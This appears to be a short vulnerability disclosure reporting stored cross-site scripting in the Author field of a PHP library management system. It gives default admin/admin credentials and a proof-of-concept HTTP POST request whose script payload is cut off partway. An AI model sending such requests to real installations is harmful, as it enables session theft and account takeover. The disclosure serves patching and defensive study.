z1pwn Update XSS-1.md History

1 contributor

37 lines (25 sloc) | 1.32 KB

Library Management System v1.0 by kingbhob02 has Stored Cross-Site Scripting

BUG_Author: z1pwn

Date: 07.22.2022

Login account: admin/admin (Super Admin account)

Software:

https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html

#Description： #The Line 278 of edit_book_details.php sends unvalidated data to a web browser, which can result in the browser executing malicious code.

#echo $edit_book_details->Author;

#PoC:

```
POST /LMS/librarian/edit_book_details.php?id=192 HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/LMS/librarian/edit_book_details.php?id=192
Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=7v8p4p3goshl3b4fkncu3bh9ui
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 161

Section=Filipiniana&Subject=1&book=1&Copyright=1&Title=1&availability=1&Author=%3Csc
```